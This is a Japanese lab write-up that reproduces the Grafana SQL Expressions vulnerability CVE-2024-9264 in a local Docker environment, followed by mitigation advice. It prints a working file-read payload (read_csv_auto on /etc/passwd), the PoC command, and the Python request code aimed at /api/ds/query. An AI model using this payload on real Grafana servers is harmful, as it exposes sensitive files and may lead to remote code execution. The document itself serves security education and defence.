
参考ドキュメント https://github.com/vulhub/vulhub/tree/master/grafana/CVE-2024-9264
| 項目 | 内容 |
|---|---|
| CVE | CVE-2024-9264 |
| 対象 | Grafana (SQL Expressions) |
| 影響 | Local File Inclusion(LFI), Remote Code Execution(RCE) |
| 深刻度 | Critical (CVSS 9.9) |
| 攻撃条件 | 認証されたユーザー(Admin権限) |
| 攻撃方法 | SQL Expression機能を悪用してDuckDB SQLを実行 |
Grafanaは、サーバー、アプリケーション、データベースなどのさまざまなデータを、ひと目でわかりやすいグラフやダッシュボードの形式で可視化するオープンソースのモニタリングツールです。
CVE-2024-9264は、GrafanaのSQL Expressions機能で発生する脆弱性です。
Grafana内部で使用するDuckDB SQLを適切に検証していないため、攻撃者はSQL Expressionを介して任意のDuckDB SQLを実行できます。
これを利用すると
などが可能です。
本演習では、Docker環境でGrafana 11.0.0を実行した後、PoCを使用して/etc/passwdファイルを読み取る方法で脆弱性を再現しました。
| 構成 | 内容 |
|---|---|
| OS | Ubuntu |
| Docker | Docker Compose |
| Grafana | 11.0.0 |
git clone https://github.com/yeonchoda/CVE-2024-9264
cd CVE-2024-9264
docker-compose up
Grafanaの起動確認
http://localhost:3000

Grafanaのデフォルトアカウント情報は次のとおりです。
ID : admin
PW : admin
脆弱性が発生するには、次の条件が満たされている必要があります。
本演習では、デフォルトの管理者(admin/admin)アカウントを使用しました。
PoCの実行
ローカルファイルを読み取るために、次のコマンドを実行しました。
python3 PoC.py -u http://localhost:3000 -f "/etc/passwd"
PoCは次のSQL Expressionを生成します。
SELECT * FROM read_csv_auto('/etc/passwd')
これをGrafanaの/api/ds/query APIに送信します。
GrafanaがSQLをそのまま実行し、/etc/passwdの内容を応答として返しました。

/etc/passwdファイル以外のファイルも閲覧可能です。

これにより、Local File Inclusionが正常に実行されたことを確認しました。
PoCはPythonで記述されており、次の処理を実行します。
/api/ds/query)の呼び出しファイル読み取り時に生成されるSQLは次のとおりです。
sql_query = f"SELECT * FROM read_csv_auto('{args.file}')"
APIリクエストは次のように実行されます。
response = requests.post(
api_url,
auth=(username, password),
headers=headers,
data=json.dumps(payload),
verify=False
)
これはcurlコマンドでも確認できます。

最も効果的な対策は、脆弱性が修正された最新バージョンに更新することです。
不要なSQL Expression機能は無効化するか、最小権限の原則を適用して使用範囲を制限します。
Docker環境でGrafana 11.0.0を構築した後、CVE-2024-9264の脆弱性を再現しました。
Pythonで記述されたPoCを使用してSQL Expression機能を悪用し、/etc/passwdファイルの読み取りに成功しました。これにより、SQL Expressionへの入力検証が不十分な場合、機密ファイルが公開される可能性があり、環境によってはリモートコード実行につながる可能性もあることを確認しました。
このような脆弱性は、最新バージョンへの更新、SQL Expression機能の制限、管理者アカウントの保護などのセキュリティ対策によって予防できます。